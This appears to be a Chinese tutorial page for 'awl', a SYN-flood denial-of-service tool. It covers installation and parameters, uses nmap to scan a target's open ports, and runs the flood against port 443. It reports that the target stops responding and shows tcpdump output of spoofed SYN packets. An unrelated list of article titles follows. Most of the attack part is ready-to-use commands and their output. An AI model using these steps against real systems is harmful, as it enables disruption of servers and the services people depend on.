一,安装: 
tar -zxvf awl-0.2.tar.gz 
./configure 
make 
make install

awl的执行程序安装后在/usr/local/bin/目录下

二,说明: 
awl 的格式如下: 
./awl -i eth0 -m aa:bb:cc:dd:ee:ff -d ip -p port

参数如下: 
-i 发送包的接口,如果省略默认是eth0 
-m 被攻击机器的mac地址,程序不能根据被攻击IP得到MAC,需要手工指定.先ping 目标IP,再arp -a就可以看到.如果省略则为ff:ff:ff:ff:ff:ff 
-d 被攻击机器的IP 
-p 被攻击机器的端口.

三,测试, 
服务器端:centOS 5.0 
对方服务器:freebsd   6.2   运行apache

1,首先得知对方IP 
运行nmap -v -A 192.168.0.1   查看对方开了啥服务 
[root@localhost bin]# nmap -v -A 10.122.89.106

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2008-06-02 19:24 CST 
DNS resolution of 1 IPs took 0.39s. 
Initiating SYN Stealth Scan against 10.122.89.106 [1680 ports] at 19:24 
Discovered open port 21/tcp on 10.122.89.106 
Discovered open port 25/tcp on 10.122.89.106 
Discovered open port 22/tcp on 10.122.89.106 
Discovered open port 443/tcp on 10.122.89.106 
Discovered open port 80/tcp on 10.122.89.106 
Discovered open port 199/tcp on 10.122.89.106 
Discovered open port 110/tcp on 10.122.89.106 
Discovered open port 143/tcp on 10.122.89.106 
Discovered open port 3306/tcp on 10.122.89.106

得知对方开了如上端口

ping 192.168.0.1   得知mac地址 
查看arp -a 得知对方IP的MAC地址

2.开始攻击: 
./awl -i eth0 -m aa:bb:cc:dd:ee:ff -d 192.168.0.1 -p 443

ping 192.168.0.1 -t 查下对方反应

四,测试效果 
攻击一开始,对方明显挂掉,各种应用无反应, 
如下是抓包: 
[root@localhost ~]# tcpdump 
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode 
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 
19:26:10.765001 IP 196.224.129.69.58334 > 10.122.82.169.https: S 2137366997:2137366997(0) win 57403 
19:26:13.835951 IP 221.140.165.45.45259 > 10.122.82.169.https: S 2020705765:2020705765(0) win 28443 
19:26:14.379435 IP 108.99.168.18.63871 > 10.122.82.169.https: S 1625298749:1625298749(0) win 23981 
19:26:14.917676 IP 141.90.214.98.34527 > 10.122.82.169.https: S 697113617:697113617(0) win 48400 
19:26:15.645562 IP 111-104.dsl.sky.cz.33734 > 10.122.82.169.https: S 1620903624:1620903624(0) win 34262 
19:26:16.396435 IP 135.205.163.109.59589 > 10.122.82.169.https: S 1747490631:1747490631(0) win 40348

linux awl***程序说明相关推荐

  1. Linux下程序崩溃dump时的 core文件的使用方法

    Linux下程序崩溃dump时的 core文件的使用方法 1.在启动程序前执行 ulimit -c unlimited unlimited 表示生成文件的大小限制,也可以修改为自定义的大小,例如: u ...

  2. visual studio asmx 调试_通过Windows Visual Studio远程调试WSL2中的.NET Core Linux应用程序...

    最近两天在Linux中调试.NET Core应用程序,同时我发现在Linux中调试.NET Core应用程序并不容易.一直习惯在Visual Studio中进行编码和调试.现在我想的是可以简单快速的测 ...

  3. linux独立应用程序开发,Linux应用程序开发(一)

    Linux应用程序开发(一)---移植thttpd+Sqlite3+PHP5到arm linux(4) 移植环境(红色粗字体字为修改后内容,蓝色粗体字为特别注意内容) 1,主机环境:VMare下Cen ...

  4. 怎么用linux设计一个小程序,“Linux”小程序发布一个月后,我们发现了什么

    原标题:"Linux"小程序发布一个月后,我们发现了什么 这一个月来,这个小程序得到了八千多人的使用,一百多位贡献者实际参与了翻译贡献,其中贡献最高的"Datura st ...

  5. 《嵌入式 Linux应用程序开发标准教程(第2版)》——第1章 Linux快速入门 1.1 嵌入式Linux基础...

    本节书摘来自异步社区<嵌入式 Linux应用程序开发标准教程(第2版)>一书中的第1章,第1.1节,作者 华清远见嵌入式培训中心,更多章节内容可以访问云栖社区"异步社区" ...

  6. linux应用程序安装与管理

    一.Linux应用程序与命令的关系 1.基本命令是Linux系统中不可缺少的组成部分 <?xml:namespace prefix = o ns = "urn:schemas-micr ...

  7. 7 linux服务器程序规范

    1. Linux服务器程序一般以后台进程形式运行.后台进程又称守护进程(daemon),它没有控制终端,因而不会意外接收到用户输入.父进程通常为init(PID为1的进程) 2. Linux服务器程序 ...

  8. 《嵌入式 Linux应用程序开发标准教程(第2版)》——1.1 嵌入式Linux基础

    本节书摘来异步社区<嵌入式 Linux应用程序开发标准教程(第2版)>一书中的第1章,第1.1节,作者:华清远见嵌入式培训中心,更多章节内容可以访问云栖社区"异步社区" ...

  9. 嵌入式linux 添加中断,《嵌入式linux应用程序开发完全手册》中断控制器操作(外部中断)学习笔记...

    <嵌入式linux应用程序开发完全手册>中断控制器操作(外部中断)学习笔记 一.ARM中断体系 当一个"异常"发生时,或者说当收到一个中断触发信号时,ARM9将会自动完 ...

最新文章

  1. 多迪将企业的Python工程师定位成哪几类?
  2. androidx使用FileProvider适配安卓7
  3. 音乐游戏 简单模拟,字符串,cin.get,getchar,流同步(女赛)
  4. 【TensorFlow官方文档】MNIST机器学习入门
  5. 虚拟机无法接受组播消息_IPTV(组播)骨干网完整解决方案--四川广电网络
  6. Uniswap 24h交易量约为10.6亿美元涨2.91%
  7. 树状数组相关应用之平面范围求和问题
  8. 疯狂连连看之加载界面的图片
  9. Julia : 又一次 ”协变“ 中招!
  10. Python实现pdf转word
  11. Three.js和其它webgl框架
  12. Arithmetic circuit
  13. 微信公众号推文各标签含义
  14. lisp 练习取得对象属性
  15. 硬件使用74hc138的C语言程序,【Arduino教程】第三十一讲:74HC138实验
  16. 出现“性能监视器计数器要求”错误的解决办法
  17. 11.3 树的遍历:LDR,LRD,VLR 相关代码
  18. Gaze vector介绍
  19. 3d游戏建模|3D电影、游戏角色是怎么制作的?
  20. 【tsinsen A1490】osu!(乔明达) 矩阵+线段树

热门文章

  1. 【burpsuite安全练兵场-服务端8】文件上传漏洞-7个实验(全)
  2. 初中三年级数学可以用计算机吗,不到3分钟,这份初中数学攻略被家长和学生疯狂转发!太实用了!...
  3. (生物信息学)R语言绘图初-中-高级——3-10分文章必备——Venn图(韦恩图)(初级)
  4. java中math.ceil用法_[Java教程]关于Math类的round、floor、ceil三个方法
  5. linux视频广播,在 Linux 终端收听广播
  6. Android新浪微博授权提示:文件不存在 C8998 的终极解决方法
  7. 在桌面上显示当前的IP地址和电脑名称
  8. python字母表_Python 一句话生成字母表的方法
  9. 论文介绍--Spatio-Temporal Dynamics and Semantic Attribute Enriched Visual Encoding for Video Captioning
  10. Hexo接入码云评论系统